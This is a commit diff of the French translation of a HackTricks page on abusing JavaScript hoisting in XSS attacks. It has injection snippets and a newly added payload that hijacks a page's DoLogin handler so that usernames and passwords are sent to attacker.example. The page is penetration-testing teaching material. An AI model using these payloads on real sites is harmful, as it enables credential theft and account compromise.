mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting
This commit is contained in:
parent
21b361f40e
commit
54994e66c9
File diff suppressed because it is too large
Load Diff
@ -4,29 +4,29 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
Dans le langage JavaScript, un mécanisme connu sous le nom de **Hoisting** est décrit, où les déclarations de variables, fonctions, classes ou imports sont conceptuellement élevées au sommet de leur portée avant que le code ne soit exécuté. Ce processus est automatiquement effectué par le moteur JavaScript, qui parcourt le script en plusieurs passes.
|
||||
Dans le langage JavaScript, un mécanisme connu sous le nom de **Hoisting** décrit que les déclarations de variables, fonctions, classes ou imports sont conceptuellement remontées en haut de leur scope avant l'exécution du code. Ce processus est effectué automatiquement par le moteur JavaScript, qui parcourt le script en plusieurs passes.
|
||||
|
||||
Lors de la première passe, le moteur analyse le code pour vérifier les erreurs de syntaxe et le transforme en un arbre de syntaxe abstrait. Cette phase inclut le hoisting, un processus où certaines déclarations sont déplacées au sommet du contexte d'exécution. Si la phase d'analyse est réussie, indiquant qu'il n'y a pas d'erreurs de syntaxe, l'exécution du script se poursuit.
|
||||
Lors de la première passe, le moteur parse le code pour vérifier les erreurs de syntaxe et le transforme en arbre de syntaxe abstrait. Cette phase inclut le hoisting, un processus où certaines déclarations sont déplacées en haut du contexte d'exécution. Si la phase d'analyse est réussie, c'est‑à‑dire en l'absence d'erreurs de syntaxe, l'exécution du script se poursuit.
|
||||
|
||||
Il est crucial de comprendre que :
|
||||
|
||||
1. Le script doit être exempt d'erreurs de syntaxe pour que l'exécution ait lieu. Les règles de syntaxe doivent être strictement respectées.
|
||||
2. Le placement du code dans le script affecte l'exécution en raison du hoisting, bien que le code exécuté puisse différer de sa représentation textuelle.
|
||||
2. Le placement du code dans le script affecte l'exécution à cause du hoisting, bien que le code exécuté puisse différer de sa représentation textuelle.
|
||||
|
||||
#### Types de Hoisting
|
||||
|
||||
D'après les informations de MDN, il existe quatre types distincts de hoisting en JavaScript :
|
||||
D'après MDN, il existe quatre types distincts de hoisting en JavaScript :
|
||||
|
||||
1. **Value Hoisting** : Permet l'utilisation de la valeur d'une variable dans sa portée avant sa ligne de déclaration.
|
||||
2. **Declaration Hoisting** : Permet de référencer une variable dans sa portée avant sa déclaration sans provoquer une `ReferenceError`, mais la valeur de la variable sera `undefined`.
|
||||
3. Ce type modifie le comportement dans sa portée en raison de la déclaration de la variable avant sa ligne de déclaration réelle.
|
||||
4. Les effets secondaires de la déclaration se produisent avant que le reste du code contenant celle-ci ne soit évalué.
|
||||
1. **Value Hoisting** : Permet l'utilisation de la valeur d'une variable dans son scope avant sa ligne de déclaration.
|
||||
2. **Declaration Hoisting** : Permet de référencer une variable dans son scope avant sa déclaration sans provoquer une `ReferenceError`, mais la valeur de la variable sera `undefined`.
|
||||
3. Ce type modifie le comportement au sein de son scope en raison de la déclaration de la variable avant sa ligne de déclaration effective.
|
||||
4. Les effets de bord de la déclaration se produisent avant que le reste du code qui la contient soit évalué.
|
||||
|
||||
En détail, les déclarations de fonction présentent un comportement de type 1 de hoisting. Le mot-clé `var` démontre un comportement de type 2. Les déclarations lexicales, qui incluent `let`, `const` et `class`, montrent un comportement de type 3. Enfin, les déclarations `import` sont uniques en ce sens qu'elles sont hoistées avec à la fois des comportements de type 1 et de type 4.
|
||||
Plus précisément, les déclarations de fonctions présentent le comportement de hoisting de type 1. Le mot-clé `var` présente le comportement de type 2. Les déclarations lexicales, qui incluent `let`, `const` et `class`, montrent le comportement de type 3. Enfin, les instructions `import` sont particulières en ce qu'elles sont hoistées avec à la fois les comportements de type 1 et de type 4.
|
||||
|
||||
## Scénarios
|
||||
|
||||
Par conséquent, si vous avez des scénarios où vous pouvez **Injecter du code JS après qu'un objet non déclaré** soit utilisé, vous pourriez **corriger la syntaxe** en le déclarant (afin que votre code soit exécuté au lieu de provoquer une erreur) :
|
||||
Par conséquent, si vous avez des scénarios où vous pouvez **injecter du code JS après qu'un objet non déclaré** est utilisé, vous pouvez **corriger la syntaxe** en le déclarant (ainsi votre code s'exécute au lieu de lever une erreur) :
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -68,7 +68,7 @@ alert(1);
|
||||
test.cookie("leo", "INJECTION")
|
||||
test[("cookie", "injection")]
|
||||
```
|
||||
## Plus de scénarios
|
||||
## Autres scénarios
|
||||
```javascript
|
||||
// Undeclared var accessing to an undeclared method
|
||||
x.y(1,INJECTION)
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Préempter des déclarations ultérieures en verrouillant un nom avec const
|
||||
|
||||
Si vous pouvez exécuter du code avant que la déclaration `function foo(){...}` au niveau supérieur ne soit analysée, déclarer une liaison lexicale portant le même nom (par ex., `const foo = ...`) empêchera la déclaration de fonction ultérieure de réaffecter cet identifiant. Cela peut être exploité dans RXSS pour détourner des gestionnaires critiques définis plus loin dans la page :
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Remarques
|
||||
- Cela dépend de l'ordre d'exécution et de la portée globale (niveau supérieur).
|
||||
- Si votre payload est exécuté à l'intérieur de `eval()`, souvenez-vous que `const/let` à l'intérieur de `eval` sont à portée de bloc et ne créeront pas de liaisons globales. Injectez un nouvel élément `<script>` contenant le code pour établir un véritable `const` global.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user